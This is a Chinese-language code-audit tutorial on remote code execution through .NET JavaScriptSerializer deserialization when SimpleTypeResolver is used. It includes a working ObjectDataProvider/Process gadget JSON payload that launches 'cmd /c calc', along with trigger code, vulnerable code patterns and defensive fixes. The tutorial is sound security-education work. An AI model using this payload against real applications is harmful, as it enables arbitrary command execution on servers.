.NET高级代码审计(第四课) JavaScriptSerializer反序列化漏洞
字数 1302 2025-08-26 22:11:40

.NET JavaScriptSerializer 反序列化漏洞深入分析与防御

0x00 前言

JavaScriptSerializer 是 .NET 2.0 之后提供的 JSON 序列化和反序列化类,位于 System.Web.Script.Serialization 命名空间,通过 System.Web.Extensions 引用。当开发者使用 DeserializeDeserializeObject 方法处理不受信任的 JSON 数据时,可能导致反序列化攻击,实现远程代码执行(RCE)。

0x01 JavaScriptSerializer 序列化机制

基本序列化示例

public class TestClass
{
    public string Name { get; set; }
    public int Age { get; set; }
    public string Address { get; set; }
    
    public static void ClassMethod(string cmd)
    {
        Process.Start(cmd);
    }
}

// 序列化示例
TestClass test = new TestClass 
{
    Name = "Ivan1ee",
    Age = 18,
    Address = "Beijing"
};

JavaScriptSerializer jss = new JavaScriptSerializer();
string serialized = jss.Serialize(test);

常规序列化输出:

{"Name":"Ivan1ee","Age":18,"Address":"Beijing"}

启用类型解析器的序列化

JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
string serialized = jss.Serialize(test);

启用 SimpleTypeResolver 后的输出包含程序集完整标识:

{
    "__type":"TestClass, App_Code.9w9sorq5, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null",
    "Name":"Ivan1ee",
    "Age":18,
    "Address":"Beijing"
}

关键点:

  • __type 字段包含了程序集全标识(名称、版本、语言文化和公钥)
  • SimpleTypeResolver 为托管类型提供类型解析器,允许在序列化字符串中自定义类型的元数据

0x02 JavaScriptSerializer 反序列化漏洞分析

反序列化流程

  1. 核心方法调用链:

    DeserializeObject → Deserialize → BasicDeserialize → DeserializeInternal
    
  2. 关键判断逻辑:

    • 检查字典集合中是否包含 ServerTypeFieldName 常量(值为"__type")
    • 如果存在,获取解析器中的实际类型
    • 使用 System.Activator.CreateInstance 创建类型实例
  3. 漏洞触发点:

    • 初始化 JavaScriptSerializer 时使用了 SimpleTypeResolver
    • 反序列化的 JSON 数据可控

漏洞利用POC构造

利用 ObjectDataProvider 类调用任意方法:

{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "ObjectInstance":{
        "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo":{
            "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
            "FileName":"cmd",
            "Arguments":"/c calc"
        }
    }
}

触发代码示例:

string json = "上面构造的恶意JSON";
JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
jss.Deserialize<Object>(json); // 弹出计算器

0x03 代码审计视角

危险代码模式1:直接使用Deserialize

public class JsonHelper
{
    public static object DeserializeJson(string input)
    {
        JavaScriptSerializer js = new JavaScriptSerializer(new SimpleTypeResolver());
        return js.Deserialize<object>(input); // 危险!
    }
}

危险代码模式2:使用DeserializeObject

public object DeserializeJson(string input)
{
    JavaScriptSerializer js = new JavaScriptSerializer(new SimpleTypeResolver());
    return js.DeserializeObject(input); // 同样危险
}

审计要点:

  1. 查找 new JavaScriptSerializer() 实例化代码
  2. 检查是否传入了 SimpleTypeResolver 参数
  3. 确认反序列化数据是否来自不可信源

0x04 漏洞防御方案

  1. 避免使用SimpleTypeResolver

    • 默认情况下 JavaScriptSerializer 不使用类型解析器是安全的
  2. 使用白名单机制

    public class SafeTypeResolver : JavaScriptTypeResolver
    {
        public override Type ResolveType(string id)
        {
            // 只允许反序列化安全类型
            if (id == typeof(SafeClass).AssemblyQualifiedName)
                return typeof(SafeClass);
            return null;
        }
    
        public override string ResolveTypeId(Type type)
        {
            return type.AssemblyQualifiedName;
        }
    }
    
  3. 使用替代方案

    • 使用 Newtonsoft.Json 并配置 TypeNameHandling.None
    • 或使用 .NET Core 中的 System.Text.Json
  4. 输入验证

    • 检查反序列化前的 JSON 数据,过滤包含 __type 的输入

0x05 总结

JavaScriptSerializer 反序列化漏洞的关键在于:

  • 使用了 SimpleTypeResolver
  • 反序列化了不可信的 JSON 数据
  • 攻击者可以控制 __type 字段指定任意类型

防御核心:

  • 默认配置下是安全的(不使用类型解析器)
  • 如需使用解析器,必须实现严格的白名单机制
  • 优先考虑使用更现代的 JSON 序列化方案
.NET JavaScriptSerializer 反序列化漏洞深入分析与防御 0x00 前言 JavaScriptSerializer 是 .NET 2.0 之后提供的 JSON 序列化和反序列化类,位于 System.Web.Script.Serialization 命名空间,通过 System.Web.Extensions 引用。当开发者使用 Deserialize 或 DeserializeObject 方法处理不受信任的 JSON 数据时,可能导致反序列化攻击,实现远程代码执行(RCE)。 0x01 JavaScriptSerializer 序列化机制 基本序列化示例 常规序列化输出: 启用类型解析器的序列化 启用 SimpleTypeResolver 后的输出包含程序集完整标识: 关键点: __type 字段包含了程序集全标识(名称、版本、语言文化和公钥) SimpleTypeResolver 为托管类型提供类型解析器,允许在序列化字符串中自定义类型的元数据 0x02 JavaScriptSerializer 反序列化漏洞分析 反序列化流程 核心方法调用链: 关键判断逻辑: 检查字典集合中是否包含 ServerTypeFieldName 常量(值为"__ type") 如果存在,获取解析器中的实际类型 使用 System.Activator.CreateInstance 创建类型实例 漏洞触发点: 初始化 JavaScriptSerializer 时使用了 SimpleTypeResolver 反序列化的 JSON 数据可控 漏洞利用POC构造 利用 ObjectDataProvider 类调用任意方法: 触发代码示例: 0x03 代码审计视角 危险代码模式1:直接使用Deserialize 危险代码模式2:使用DeserializeObject 审计要点: 查找 new JavaScriptSerializer() 实例化代码 检查是否传入了 SimpleTypeResolver 参数 确认反序列化数据是否来自不可信源 0x04 漏洞防御方案 避免使用SimpleTypeResolver 默认情况下 JavaScriptSerializer 不使用类型解析器是安全的 使用白名单机制 使用替代方案 使用 Newtonsoft.Json 并配置 TypeNameHandling.None 或使用 .NET Core 中的 System.Text.Json 输入验证 检查反序列化前的 JSON 数据,过滤包含 __type 的输入 0x05 总结 JavaScriptSerializer 反序列化漏洞的关键在于: 使用了 SimpleTypeResolver 反序列化了不可信的 JSON 数据 攻击者可以控制 __type 字段指定任意类型 防御核心: 默认配置下是安全的(不使用类型解析器) 如需使用解析器,必须实现严格的白名单机制 优先考虑使用更现代的 JSON 序列化方案